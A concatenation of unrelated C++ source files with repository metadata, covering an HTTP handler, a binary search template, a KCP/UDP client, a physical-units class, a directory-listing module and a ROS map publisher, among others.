curr_request_method = BP_HTTPdDetermineMethod((char *) method); // printf("\n Current Method is?: %u", curr_request_method); // check to see if the method is supported if(!(BP_FLAG_IS_SET(request_handler->supported_http_methods, curr_request_method))) { printf("\n [+] UNSUPPORTED METHOD DETECTED"); printf("\n"); return ERR_FAILURE; } // increment the total activation counts request_handler->activation_n++; // call the handler directly BP_ERROR_T handler_ret_status = request_handler->handler ( request, connection, url, method, version, upload_data, upload_data_size, con_cls ); // if the request failed, increment the error count, else increment the completed count if(handler_ret_status == ERR_FAILURE) request_handler->error_n++; else request_handler->completed_n++; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Do Request Cleanup and Exit %%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // return indicating success return ERR_SUCCESS; }
29.948787
183
0.652034
jason-medeiros
636d3ab4eab6fb30cd92e4c40431ccd5e90c6ee7
714
hpp
C++
include/Boots/Utils/algorithm.hpp
Plaristote/Boots
ba6bd74fd06c5b26f1e159c6c861d46992db1145
[ "BSD-3-Clause" ]
null
null
null
include/Boots/Utils/algorithm.hpp
Plaristote/Boots
ba6bd74fd06c5b26f1e159c6c861d46992db1145
[ "BSD-3-Clause" ]
null
null
null
include/Boots/Utils/algorithm.hpp
Plaristote/Boots
ba6bd74fd06c5b26f1e159c6c861d46992db1145
[ "BSD-3-Clause" ]
null
null
null
#ifndef BOOTS_ALGORITHM_HPP # define BOOTS_ALGORITHM_HPP namespace Algorithm { template<typename ARRAY, typename COMP_TYPE> int sorted_find(ARRAY& array, COMP_TYPE value, int index_first = 0, int index_last = -1) { int middle; if (index_last == -1) index_last = array.size(); middle = index_first + ((index_last - index_first) / 2); if (index_first == index_last && !(array[index_first] == value)) return (-1); if (array[middle] == value) return (middle); else if (array[middle] > value) return (sorted_find(array, value, index_first, middle)); else return (sorted_find(array, value, middle, array.size())); return (-1); } } #endif
25.5
90
0.641457
Plaristote
636e9243514331fd227292026854ea7e4d3244fa
434
cpp
C++
ch09/ex9_31_1.cpp
yunongzhou/cppprimer
331cdc69f9063fca3466fda994a06de12387d0b3
[ "MIT" ]
2
2018-08-22T15:04:17.000Z
2018-08-26T16:05:59.000Z
ch09/ex9_31_1.cpp
yunongzhou/cppprimer
331cdc69f9063fca3466fda994a06de12387d0b3
[ "MIT" ]
null
null
null
ch09/ex9_31_1.cpp
yunongzhou/cppprimer
331cdc69f9063fca3466fda994a06de12387d0b3
[ "MIT" ]
null
null
null
#include<list> #include<iostream> using std::list; using std::cout; using std::endl; int main(){ list<int> intLst = {0, 1, 2, 3, 4, 5,6,7,8, 9}; auto iter = intLst.begin(); while(iter != intLst.end()){ if(*iter % 2){ iter = intLst.insert(iter, *iter); advance(iter, 2); } else{ iter = intLst.erase(iter); } } for(auto i : intLst) cout << i << " "; cout << endl; return 0; } // main
16.692308
49
0.536866
yunongzhou
636f8da185f828c4020875e980033550be91d73f
856
cpp
C++
3dEngine/src/scene/ui/animation/UIAnimationFade.cpp
petitg1987/UrchinEngine
32d4b62b1ab7e2aa781c99de11331e3738078b0c
[ "MIT" ]
24
2015-10-05T00:13:57.000Z
2020-05-06T20:14:06.000Z
3dEngine/src/scene/ui/animation/UIAnimationFade.cpp
petitg1987/UrchinEngine
32d4b62b1ab7e2aa781c99de11331e3738078b0c
[ "MIT" ]
1
2019-11-01T08:00:55.000Z
2019-11-01T08:00:55.000Z
3dEngine/src/scene/ui/animation/UIAnimationFade.cpp
petitg1987/UrchinEngine
32d4b62b1ab7e2aa781c99de11331e3738078b0c
[ "MIT" ]
10
2015-11-25T07:33:13.000Z
2020-03-02T08:21:10.000Z
#include <scene/ui/animation/UIAnimationFade.h> namespace urchin { UIAnimationFade::UIAnimationFade(Widget& widget, float endFadeValue) : AbstractUIWidgetAnimation(widget), startFadeValue(1.0f), endFadeValue(endFadeValue), linearProgression(0.0f) { } void UIAnimationFade::initializeAnimation() { startFadeValue = getWidget().getAlphaFactor(); } void UIAnimationFade::doAnimation(float dt) { linearProgression += dt * getAnimationSpeed(); if (linearProgression > 1.0f) { updateAlphaFactor(endFadeValue); markCompleted(); } else { float animationProgress = computeProgression(linearProgression); updateAlphaFactor(startFadeValue + (endFadeValue - startFadeValue) * animationProgress); } } }
29.517241
100
0.64486
petitg1987
63704121b38f62f2f2695d2627cf52236fa35403
5,013
cpp
C++
converter/net.cpp
soarqin/vita-mcheat
c4240e84bd19069567ca9a1f63178a76e9b4452f
[ "MIT" ]
20
2018-05-23T19:52:18.000Z
2021-05-11T16:11:41.000Z
converter/net.cpp
soarqin/vita-rxcheat
c4240e84bd19069567ca9a1f63178a76e9b4452f
[ "MIT" ]
9
2018-05-13T16:53:42.000Z
2019-01-13T09:06:06.000Z
converter/net.cpp
soarqin/vita-rxcheat
c4240e84bd19069567ca9a1f63178a76e9b4452f
[ "MIT" ]
1
2018-05-04T11:39:56.000Z
2018-05-04T11:39:56.000Z
#include "net.h" #include "uv.h" #include "ikcp.h" #include <list> #ifndef _WIN32 #include <ctime> uint32_t GetTickCount() { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (uint32_t)(ts.tv_sec * 1000 + ts.tv_nsec / 1000000); } #endif struct ClientContext { Client *client = nullptr; uv_loop_t loop; uv_udp_t udp; struct sockaddr_in host_addr; ikcpcb *kcp = nullptr; std::list<std::string> pends; std::string recv_buf; }; struct SendStruct { uv_udp_send_t req; char base[1]; }; Client::Client() { context_ = new ClientContext; context_->client = this; uv_loop_init(&context_->loop); } Client::~Client() { uv_loop_close(&context_->loop); if (context_->kcp) { ikcp_release(context_->kcp); context_->kcp = nullptr; } context_->client = nullptr; delete context_; } void Client::connect(const char *addr, uint16_t port) { uv_ip4_addr(addr, port, &context_->host_addr); uv_udp_init(&context_->loop, &context_->udp); context_->udp.data = context_; doSend("C", 1); uv_udp_recv_start(&context_->udp, [](uv_handle_t* handle, size_t suggested_size, uv_buf_t* buf) { buf->base = new char[suggested_size]; buf->len = suggested_size; }, [](uv_udp_t* handle, ssize_t nread, const uv_buf_t* buf, const struct sockaddr* addr, unsigned flags) { auto *c = ((ClientContext*)handle->data); if (nread >= 0 && addr->sa_family == AF_INET) { const auto *addrin = reinterpret_cast<const struct sockaddr_in*>(addr); if (addrin->sin_addr.s_addr == c->host_addr.sin_addr.s_addr && addrin->sin_port == c->host_addr.sin_port) { c->client->onUdpRecv(buf->base, nread); delete[](char*)buf->base; return; } } c->client->onError(); delete[] (char*)buf->base; } ); } void Client::sendData(int op, const void *data, int len) { std::string n; n.resize(len + 8); *(int*)&n[0] = op; *(int*)&n[4] = len; if (len > 0) memcpy(&n[8], data, len); if (ikcp_send(context_->kcp, &n[0], len + 8) < 0) context_->pends.emplace_back(std::move(n)); } void Client::run() { uv_timer_t timer; uv_timer_init(&context_->loop, &timer); timer.data = context_; uv_timer_start(&timer, [](uv_timer_t* handle) { auto *c = (ClientContext*)handle->data; if (!c->kcp) return; ikcp_update(c->kcp, GetTickCount()); while (!c->pends.empty()) { auto &p = c->pends.front(); if (ikcp_send(c->kcp, &p[0], p.size() < 0)) break; c->pends.pop_front(); } int n; char buf[3072]; while ((n = ikcp_recv(c->kcp, buf, 3072)) > 0) { c->recv_buf.insert(c->recv_buf.end(), buf, buf + n); while (c->recv_buf.length() >= 8) { size_t len = *(uint32_t*)&c->recv_buf[4]; if (len + 8 > c->recv_buf.length()) break; c->client->onKcpData(*(int*)&c->recv_buf[0], c->recv_buf.c_str() + 8, len); c->recv_buf.erase(c->recv_buf.begin(), c->recv_buf.begin() + len + 8); } } }, 20, 20 ); uv_run(&context_->loop, UV_RUN_DEFAULT); } void Client::stop() { uv_stop(&context_->loop); uv_close((uv_handle_t*)&context_->udp, nullptr); } void Client::doSend(const void *data, int len, const void *data2, int len2) { auto *s = (SendStruct*)(new char[sizeof(uv_udp_send_t) + len + len2]); memcpy(&s->base[0], data, len); if (len2) memcpy(&s->base[len], data2, len2); uv_buf_t b; b.base = &s->base[0]; b.len = len + len2; uv_udp_send((uv_udp_send_t*)s, &context_->udp, &b, 1, (const struct sockaddr*)&context_->host_addr, [](uv_udp_send_t *req, int status) { delete[](char*)req; } ); } void Client::onUdpRecv(const void *buf, int len) { if (len <= 0) return; const char *cbuf = (const char*)buf; switch (cbuf[0]) { case 'C': { if (len < 5) return; uint32_t conv = *(const uint32_t*)(cbuf + 1); context_->kcp = ikcp_create(conv, context_); ikcp_nodelay(context_->kcp, 0, 100, 0, 0); ikcp_setmtu(context_->kcp, 1440); context_->kcp->output = [](const char *buf, int len, ikcpcb *kcp, void *user) { auto *c = (ClientContext*)user; int n = 'K'; c->client->doSend(&n, 4, buf, len); return 0; }; onConnected(); break; } case 'K':{ if (len <= 4) return; ikcp_input(context_->kcp, (const char*)buf + 4, len - 4); break; } } }
30.198795
103
0.528027
soarqin
6372fe8fdc68eeb47e8479d9dd5c451b96bc6ae4
398
cpp
C++
Rocket/PlatformRender/OpenGL/GERender/OpenGLInstanceBuffer.cpp
rocketman123456/RocketGE
dd8b6de286ce5d2abebc55454fbdf67968558535
[ "Apache-2.0" ]
2
2020-12-06T23:16:46.000Z
2020-12-27T13:33:26.000Z
Rocket/PlatformRender/OpenGL/GERender/OpenGLInstanceBuffer.cpp
rocketman123456/RocketGE
dd8b6de286ce5d2abebc55454fbdf67968558535
[ "Apache-2.0" ]
null
null
null
Rocket/PlatformRender/OpenGL/GERender/OpenGLInstanceBuffer.cpp
rocketman123456/RocketGE
dd8b6de286ce5d2abebc55454fbdf67968558535
[ "Apache-2.0" ]
null
null
null
#include "GERender/OpenGLInstanceBuffer.h" namespace Rocket { template <typename T> OpenGLInstanceBuffer<T>::OpenGLInstanceBuffer(T *data, uint32_t count) : m_Count(count) { } template <typename T> void OpenGLInstanceBuffer<T>::Bind() const { } template <typename T> void OpenGLInstanceBuffer<T>::Unbind() const { } } // namespace Rocket
18.090909
74
0.648241
rocketman123456
637738505c05574bc7632a06bdf4b1a24fd6f68d
3,982
cpp
C++
src/geometry.cpp
rubenvanstaden/Magix
0b45955d98a57b15b021e3d2e99698972f874a2d
[ "CECILL-B" ]
null
null
null
src/geometry.cpp
rubenvanstaden/Magix
0b45955d98a57b15b021e3d2e99698972f874a2d
[ "CECILL-B" ]
null
null
null
src/geometry.cpp
rubenvanstaden/Magix
0b45955d98a57b15b021e3d2e99698972f874a2d
[ "CECILL-B" ]
null
null
null
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <float.h> #include <iostream> #include <boost/filesystem.hpp> #include "boost/progress.hpp" #include <iostream> #include <stdexcept> #include "clipper.hpp" #include "sys.h" #include <unistd.h> using namespace ClipperLib; namespace fs = boost::filesystem; double get_dec_place(double value, int decPlace) { int dec = 1; for (int i = 0; i < decPlace; i++) dec *= 10; return floor(value * dec + 0.5) / dec; } void set_example_vtk_path(System *sys, std::string test_run) { sys->vtkpath = test_run + "vtk/"; fs::path vtkfolder(sys->vtkpath); std::cout << "VTK example path: " << sys->vtkpath << std::endl; if (boost::filesystem::create_directory(vtkfolder)) std::cout << "VTK folder created" << "\n"; } void file_system(System *sys, std::string test_name, std::vector<std::string> ports) { chdir("../"); boost::filesystem::path project_root_path(boost::filesystem::current_path()); std::cout << "\n--- Project root path is : " << project_root_path << std::endl; std::string test_dir(project_root_path.string() + "/tests/"); std::string test_run(test_dir + test_name + "/"); fs::path test_path(test_run); std::cout << "Test path: " << test_path << std::endl; set_example_vtk_path(sys, test_run); for (auto const& port : ports) { fs::path port_path(test_run + port + ".mat"); if (!fs::exists(port_path)) throw std::invalid_argument("Current file does not exist. Run InductEx and FFH to generate the current files."); } unsigned long file_count = 0; unsigned long dir_count = 0; unsigned long other_count = 0; unsigned long err_count = 0; if (!fs::exists(test_path)) { printf("\n%c[1;31mERROR:\033[0m ", 27); printf("Example file specified does not exist\n"); printf("Use "); printf("%c[1;36m-s\033[0m", 27); printf(" or "); printf("%c[1;36m--samples\033[0m", 27); printf(" to view usable examples\n\n"); exit(0); } sys->m_files["dir"] = test_run; if (fs::is_directory(test_path)) { std::cout << "Files found:" << std::endl; fs::directory_iterator end_iter; for (fs::directory_iterator dir_itr(test_path); dir_itr != end_iter; ++dir_itr) { try { if (fs::is_directory(dir_itr->status())) { ++dir_count; std::cout << dir_itr->path().filename() << " [directory]\n"; } else if (fs::is_regular_file(dir_itr->status())) { ++file_count; std::string filename = dir_itr->path().filename().string(); std::string extension = fs::extension(filename); // does_portfile_exist(filename, ports); sys->m_files[extension] = filename; } else { ++other_count; std::cout << dir_itr->path().filename() << " [other]\n"; } } catch (const std::exception &ex) { ++err_count; std::cout << dir_itr->path().filename() << " " << ex.what() << std::endl; } } } else std::cout << "\nFound: " << test_path << "\n"; // TODO: We have to change this is future versions. bool fil = false; bool mat = false; for (const auto& pair : sys->m_files) { if (pair.first == ".fil") { fil = true; std::cout << "-- " << pair.first << ": " << pair.second << "\n"; } if (pair.first == ".mat") { mat = true; std::cout << "-- " << pair.first << ": " << pair.second << "\n"; } } if (!fil) throw std::invalid_argument(".fil file missing"); if (!mat) throw std::invalid_argument(".mat file missing"); }
30.630769
124
0.53767
rubenvanstaden
6381c9f04f5e996b96906e2a214f41c673eeee7e
1,576
cpp
C++
codechef/nov 10/june LTIME97C/unpleasant ones.cpp
punnapavankumar9/coding-platforms
264803330f5b3857160ec809c0d79cba1aa479a3
[ "MIT" ]
null
null
null
codechef/nov 10/june LTIME97C/unpleasant ones.cpp
punnapavankumar9/coding-platforms
264803330f5b3857160ec809c0d79cba1aa479a3
[ "MIT" ]
null
null
null
codechef/nov 10/june LTIME97C/unpleasant ones.cpp
punnapavankumar9/coding-platforms
264803330f5b3857160ec809c0d79cba1aa479a3
[ "MIT" ]
null
null
null
#include <iostream> #include <bits/stdc++.h> #define endl "\n" #define setbits(x) __builtin_popcount(x) typedef long long ll; typedef unsigned long long ull; using namespace std; int score(int n){ int count = 0, mx = 0; while(n >0){ if(n & 1){ count++; }else{ count = 0; } n /= 2; mx = max(count, mx); } return mx; } int main(){ cin.tie(0)->sync_with_stdio(false);cout.tie(0); int t; cin >> t; while(t--){ int n; cin >> n; vector<int> evens, odds; for(int i =0; i < n; i++){ int x; cin >> x; if(x & 1){ odds.push_back(x); }else{ evens.push_back(x); } } sort(evens.begin(), evens.end(), [](int a, int b){ return score(a) > score(b); }); sort(odds.begin(), odds.end(), [](int a, int b){ return score(a) < score(b); }); int l = 0, r =0; int count = 0; while(l < odds.size() && r < evens.size()){ count++; if(count & 1){ cout << evens[l] << " "; l++; }else{ cout << odds[r] << " "; r++; } } while(l < evens.size()){ cout << evens[l] <<" "; l++; } while(r < odds.size()){ cout << odds[r] << " "; r++; } cout << endl; } return 0; }
21.297297
58
0.369289
punnapavankumar9
638260cda128c701efa74ee43012a772dde65b4e
6,389
hpp
C++
cpp-units/include/cpp-units/types/physicalQuantity.hpp
crdrisko/drychem
15de97f277a836fb0bfb34ac6489fbc037b5151f
[ "MIT" ]
1
2020-09-26T12:38:54.000Z
2020-09-26T12:38:54.000Z
cpp-units/include/cpp-units/types/physicalQuantity.hpp
crdrisko/cpp-units
15de97f277a836fb0bfb34ac6489fbc037b5151f
[ "MIT" ]
9
2020-10-05T12:53:12.000Z
2020-11-02T19:28:01.000Z
cpp-units/include/cpp-units/types/physicalQuantity.hpp
crdrisko/cpp-units
15de97f277a836fb0bfb34ac6489fbc037b5151f
[ "MIT" ]
1
2020-12-04T13:34:41.000Z
2020-12-04T13:34:41.000Z
// Copyright (c) 2020-2021 Cody R. Drisko. All rights reserved. // Licensed under the MIT License. See the LICENSE file in the project root for more information. // // Name: physicalQuantity.hpp // Author: crdrisko // Date: 03/03/2020-18:45:26 // Description: Defines the PhysicalQuantity class template with SI base units #ifndef DRYCHEM_CPP_UNITS_INCLUDE_CPP_UNITS_TYPES_PHYSICALQUANTITY_HPP #define DRYCHEM_CPP_UNITS_INCLUDE_CPP_UNITS_TYPES_PHYSICALQUANTITY_HPP #include <iostream> #include <string> #include <type_traits> #include <common-utils/utilities.hpp> #include "cpp-units/types/dimensionality.hpp" namespace CppUnits { template<typename BaseDimensionality> class PhysicalQuantity : private DryChem::CompletelyComparable<PhysicalQuantity<BaseDimensionality>> { private: long double magnitude {0.0l}; public: using DimensionalityType = typename BaseDimensionality::Type; constexpr PhysicalQuantity() noexcept = default; constexpr explicit PhysicalQuantity(long double Magnitude) noexcept : magnitude {Magnitude} {} /*! * Allow strings to be parsed as physical quantities if they can first be parsed as long doubles. * * \exception std::invalid_argument If we can't convert the string to a long double our constructor will throw */ constexpr explicit PhysicalQuantity(const std::string& Magnitude) : magnitude {std::stold(Magnitude)} {} constexpr long double getMagnitude() const noexcept { return magnitude; } constexpr void setMagnitude(long double Magnitude) noexcept { magnitude = Magnitude; } // Comparison Operators constexpr friend bool operator==(const PhysicalQuantity<BaseDimensionality>& lhs, const PhysicalQuantity<BaseDimensionality>& rhs) noexcept { return lhs.magnitude == rhs.magnitude; } constexpr friend bool operator<(const PhysicalQuantity<BaseDimensionality>& lhs, const PhysicalQuantity<BaseDimensionality>& rhs) noexcept { return lhs.magnitude < rhs.magnitude; } // Arithmetic Operators constexpr auto operator+=(const PhysicalQuantity<BaseDimensionality>& rhs) noexcept { magnitude += rhs.magnitude; return *this; } constexpr auto operator+(const PhysicalQuantity<BaseDimensionality>& rhs) const noexcept { return PhysicalQuantity<BaseDimensionality>(*this) += rhs; } constexpr auto operator-=(const PhysicalQuantity<BaseDimensionality>& rhs) noexcept { magnitude -= rhs.magnitude; return *this; } constexpr auto operator-(const PhysicalQuantity<BaseDimensionality>& rhs) const noexcept { return PhysicalQuantity<BaseDimensionality>(*this) -= rhs; } constexpr auto operator-() noexcept { magnitude *= -1.0; return *this; } /* Physical quantities and dimensionless quantities can only be multiplied or divided by each other, adding or subtracting is an error due to a dimensionality mismatch */ template<typename T, typename = std::enable_if_t<std::is_arithmetic_v<T>>> constexpr auto operator*(T rhs) const noexcept { return (*this) * PhysicalQuantity<Dimensionality<>>(static_cast<long double>(rhs)); } template<typename T, typename = std::enable_if_t<std::is_arithmetic_v<T>>> constexpr auto operator*=(T rhs) noexcept { magnitude *= static_cast<long double>(rhs); return *this; } constexpr auto operator*=(const PhysicalQuantity<Dimensionality<>>& rhs) noexcept { magnitude *= rhs.getMagnitude(); return *this; } template<typename T, typename = std::enable_if_t<std::is_arithmetic_v<T>>> constexpr auto operator/(T rhs) const noexcept { return (*this) / PhysicalQuantity<Dimensionality<>>(static_cast<long double>(rhs)); } template<typename T, typename = std::enable_if_t<std::is_arithmetic_v<T>>> constexpr auto operator/=(T rhs) noexcept { magnitude /= static_cast<long double>(rhs); return *this; } constexpr auto operator/=(const PhysicalQuantity<Dimensionality<>>& rhs) noexcept { magnitude /= rhs.getMagnitude(); return *this; } // Output Stream Operators constexpr friend std::ostream& operator<<(std::ostream& stream, const PhysicalQuantity<BaseDimensionality>& rhs) { stream << rhs.magnitude; return stream; } }; template<int L1, int M1, int T1, int I1, int Th1, int N1, int J1, int L2, int M2, int T2, int I2, int Th2, int N2, int J2> constexpr auto operator*(const PhysicalQuantity<Dimensionality<L1, M1, T1, I1, Th1, N1, J1>>& lhs, const PhysicalQuantity<Dimensionality<L2, M2, T2, I2, Th2, N2, J2>>& rhs) noexcept { return PhysicalQuantity<Dimensionality<L1 + L2, M1 + M2, T1 + T2, I1 + I2, Th1 + Th2, N1 + N2, J1 + J2>>( lhs.getMagnitude() * rhs.getMagnitude()); } template<int L, int M, int T, int I, int Th, int N, int J> constexpr auto operator*(long double lhs, const PhysicalQuantity<Dimensionality<L, M, T, I, Th, N, J>>& rhs) noexcept { return PhysicalQuantity<Dimensionality<>>(lhs) * rhs; } template<int L1, int M1, int T1, int I1, int Th1, int N1, int J1, int L2, int M2, int T2, int I2, int Th2, int N2, int J2> constexpr auto operator/(const PhysicalQuantity<Dimensionality<L1, M1, T1, I1, Th1, N1, J1>>& lhs, const PhysicalQuantity<Dimensionality<L2, M2, T2, I2, Th2, N2, J2>>& rhs) noexcept { return PhysicalQuantity<Dimensionality<L1 - L2, M1 - M2, T1 - T2, I1 - I2, Th1 - Th2, N1 - N2, J1 - J2>>( lhs.getMagnitude() / rhs.getMagnitude()); } template<int L, int M, int T, int I, int Th, int N, int J> constexpr auto operator/(long double lhs, const PhysicalQuantity<Dimensionality<L, M, T, I, Th, N, J>>& rhs) noexcept { return PhysicalQuantity<Dimensionality<>>(lhs) / rhs; } } // namespace CppUnits #endif
38.487952
121
0.641571
crdrisko
63827e4706f09b344c2e934b4f951d41653a25b8
3,585
hpp
C++
rviz_default_plugins/test/rviz_default_plugins/publishers/map_publisher.hpp
EricCousineau-TRI/rviz
3344a8ed63b134549eeb82682f0dee76f53b7565
[ "BSD-3-Clause-Clear" ]
null
null
null
rviz_default_plugins/test/rviz_default_plugins/publishers/map_publisher.hpp
EricCousineau-TRI/rviz
3344a8ed63b134549eeb82682f0dee76f53b7565
[ "BSD-3-Clause-Clear" ]
null
null
null
rviz_default_plugins/test/rviz_default_plugins/publishers/map_publisher.hpp
EricCousineau-TRI/rviz
3344a8ed63b134549eeb82682f0dee76f53b7565
[ "BSD-3-Clause-Clear" ]
null
null
null
/* * Copyright (c) 2018, Bosch Software Innovations GmbH. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef RVIZ_DEFAULT_PLUGINS__PUBLISHERS__MAP_PUBLISHER_HPP_ #define RVIZ_DEFAULT_PLUGINS__PUBLISHERS__MAP_PUBLISHER_HPP_ #include <cmath> #include <memory> #include <vector> #include "rclcpp/rclcpp.hpp" #include "rclcpp/clock.hpp" #include "std_msgs/msg/header.hpp" #include "geometry_msgs/msg/pose_stamped.hpp" #include "nav_msgs/msg/occupancy_grid.hpp" using namespace std::chrono_literals; // NOLINT namespace nodes { class MapPublisher : public rclcpp::Node { public: MapPublisher() : Node("map_publisher") { publisher = this->create_publisher<nav_msgs::msg::OccupancyGrid>("map"); timer = this->create_wall_timer(500ms, std::bind(&MapPublisher::timer_callback, this)); } private: void timer_callback() { auto header = std_msgs::msg::Header(); header.frame_id = "map_frame"; header.stamp = rclcpp::Clock().now(); auto meta_data = nav_msgs::msg::MapMetaData(); meta_data.height = 256; meta_data.width = 256; meta_data.map_load_time = rclcpp::Clock().now(); meta_data.resolution = 1; meta_data.origin.position.x = -128; meta_data.origin.position.y = -128; meta_data.origin.position.z = 0; meta_data.origin.orientation.x = 0; meta_data.origin.orientation.y = 0; meta_data.origin.orientation.z = 0; meta_data.origin.orientation.w = 1; auto new_data = std::vector<int8_t>(); for (uint32_t i = 0; i < meta_data.width; i++) { for (uint32_t j = 0; j < meta_data.height; j++) { new_data.emplace_back(i); } } auto occupancy_grid = std::make_shared<nav_msgs::msg::OccupancyGrid>(); occupancy_grid->header = header; occupancy_grid->info = meta_data; occupancy_grid->data = new_data; publisher->publish(occupancy_grid); } rclcpp::TimerBase::SharedPtr timer; rclcpp::Publisher<nav_msgs::msg::OccupancyGrid>::SharedPtr publisher; }; } // namespace nodes #endif // RVIZ_DEFAULT_PLUGINS__PUBLISHERS__MAP_PUBLISHER_HPP_
35.147059
91
0.728591
EricCousineau-TRI
b0cc9274e69c3f5e49f0f0ba7bce47d2c23a127c
2,404
cpp
C++
server/modules/DirListing/DirListing.cpp
hotgloupi/zhttpd
0437ac2e34dde89abab26665df9cbee1777f1d44
[ "BSD-3-Clause" ]
2
2015-01-29T17:23:23.000Z
2015-09-21T17:45:22.000Z
server/modules/DirListing/DirListing.cpp
hotgloupi/zhttpd
0437ac2e34dde89abab26665df9cbee1777f1d44
[ "BSD-3-Clause" ]
null
null
null
server/modules/DirListing/DirListing.cpp
hotgloupi/zhttpd
0437ac2e34dde89abab26665df9cbee1777f1d44
[ "BSD-3-Clause" ]
null
null
null
#include "api/constants.hpp" #include "api/IBuffer.hpp" #include "api/IRequest.hpp" #include "api/IModuleManager.hpp" #include "api/IModule.hpp" #include "utils/Path.hpp" #include "utils/Logger.hpp" #include "utils/macros.hpp" #include "config.hpp" #include "DirListing.hpp" using namespace zhttpd; using namespace zhttpd::mod; DirListing::DirListing(api::IModuleManager*) { } DirListing::~DirListing() { } bool DirListing::processRequest(api::event::Type event, api::IRequest* request, api::IBuffer*) { if (event == api::event::ON_END) { Path dir(request->getFilePath()); std::list<std::string> files = dir.getDirectoryContent(); std::string slash("/"); std::string const& path = request->getRequestQuery(); // XXX stop at '?' or '#' if (path == "/") slash.clear(); std::string out = "<!DOCTYPE html>\n" "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"fr\">\n" "<head>\n" "<title>Index of " + path + "</title>\n" "<style type=\"text/css\">\n" "body { font-family: Verdana; font-size: 13px; }\n" "a:link { color: #c00; text-decoration: none; }\n" "a:hover, a:active, a:focus { color: #c00; background-color: #ccc; text-decoration: none; }\n" "a:visited { color: #c00; text-decoration: underline; }\n" "</style>\n" "</head>\n" "<body>\n" "<h3> Index of " + path + "</h3>\n" "<hr />\n" "<ul>\n" "<li><a href=\"" + path + slash + "../\">..</a></li>"; std::list<std::string>::const_iterator it = files.begin(); std::list<std::string>::const_iterator itEnd = files.end(); for (; it != itEnd; ++it) out += "<li><a href=\"" + path + slash + *it + "\">" + *it + "</a></li>\n"; // XXX replace '"' in path ! out += "</ul>\n" "<hr />\n" "<p>" ZHTTPD_FULLNAME "</p>\n" "</body>\n" "</html>"; request->giveData(request->getBufferManager().allocate(out.data(), out.size())); request->raiseEnd(); return true; } return false; }
33.388889
118
0.481281
hotgloupi
b0d041fa41d037a303e0efbbaafce542213fd35f
632
cpp
C++
src/util/Point2D.cpp
manpreet-singh/Atlas
04cfbae52900a01ce33b49304c38455304f2c222
[ "MIT" ]
1
2020-05-04T09:36:39.000Z
2020-05-04T09:36:39.000Z
src/util/Point2D.cpp
manpreet-singh/Atlas
04cfbae52900a01ce33b49304c38455304f2c222
[ "MIT" ]
null
null
null
src/util/Point2D.cpp
manpreet-singh/Atlas
04cfbae52900a01ce33b49304c38455304f2c222
[ "MIT" ]
null
null
null
#include "util/Point2D.h" using namespace util; /** * Point Class Constructor * @param x X coordinate of cartesian point * @param y Y coordinate of cartesian point * @param slope Intended slope at this current point */ Point2D::Point2D(double x, double y, double slope) : mX(x), mY(y), mSlope(slope) {} /** * Pointer to X value * @return X reference */ double* Point2D::getX() { return &mX; } /** * Pointer to Y value * @return Y reference */ double* Point2D::getY() { return &mY; } /** * Get the intended slope at this point * @return Slope reference */ double* Point2D::getSlope() { return &mSlope; }
16.631579
80
0.658228
manpreet-singh
b0d5edaf1d9e7e6cffc443f2098028f88a28a3b9
299
cpp
C++
src/user.cpp
lou000/IO_BugTracker
e4f9c1ba4eaa6eea185e1578facbc9e47ccc36ee
[ "MIT" ]
null
null
null
src/user.cpp
lou000/IO_BugTracker
e4f9c1ba4eaa6eea185e1578facbc9e47ccc36ee
[ "MIT" ]
null
null
null
src/user.cpp
lou000/IO_BugTracker
e4f9c1ba4eaa6eea185e1578facbc9e47ccc36ee
[ "MIT" ]
null
null
null
#include "user.h" User::User(int id, const QString &login, const QString &name, const QString &surname, const UserPosition &position, UserPermissionsFlags permisions) : m_id(id), m_login(login), m_name(name), m_surname(surname), m_position(position), m_permisions(permisions) { }
33.222222
115
0.722408
lou000
b0d984371c6076e3d87c55b937df357d7fead826
1,018
hpp
C++
sources/Block.hpp
PawelWorwa/SFMLris
525c29eefee2ec68512d3d320fb0e9aae95b9549
[ "MIT" ]
null
null
null
sources/Block.hpp
PawelWorwa/SFMLris
525c29eefee2ec68512d3d320fb0e9aae95b9549
[ "MIT" ]
4
2018-01-10T19:17:00.000Z
2018-01-10T20:21:27.000Z
sources/Block.hpp
PawelWorwa/SFMLris
525c29eefee2ec68512d3d320fb0e9aae95b9549
[ "MIT" ]
null
null
null
